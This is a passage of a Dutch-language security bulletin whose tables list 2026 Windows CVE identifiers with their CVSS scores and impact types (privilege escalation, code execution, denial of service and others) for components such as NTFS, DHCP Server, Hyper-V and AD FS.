|\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | 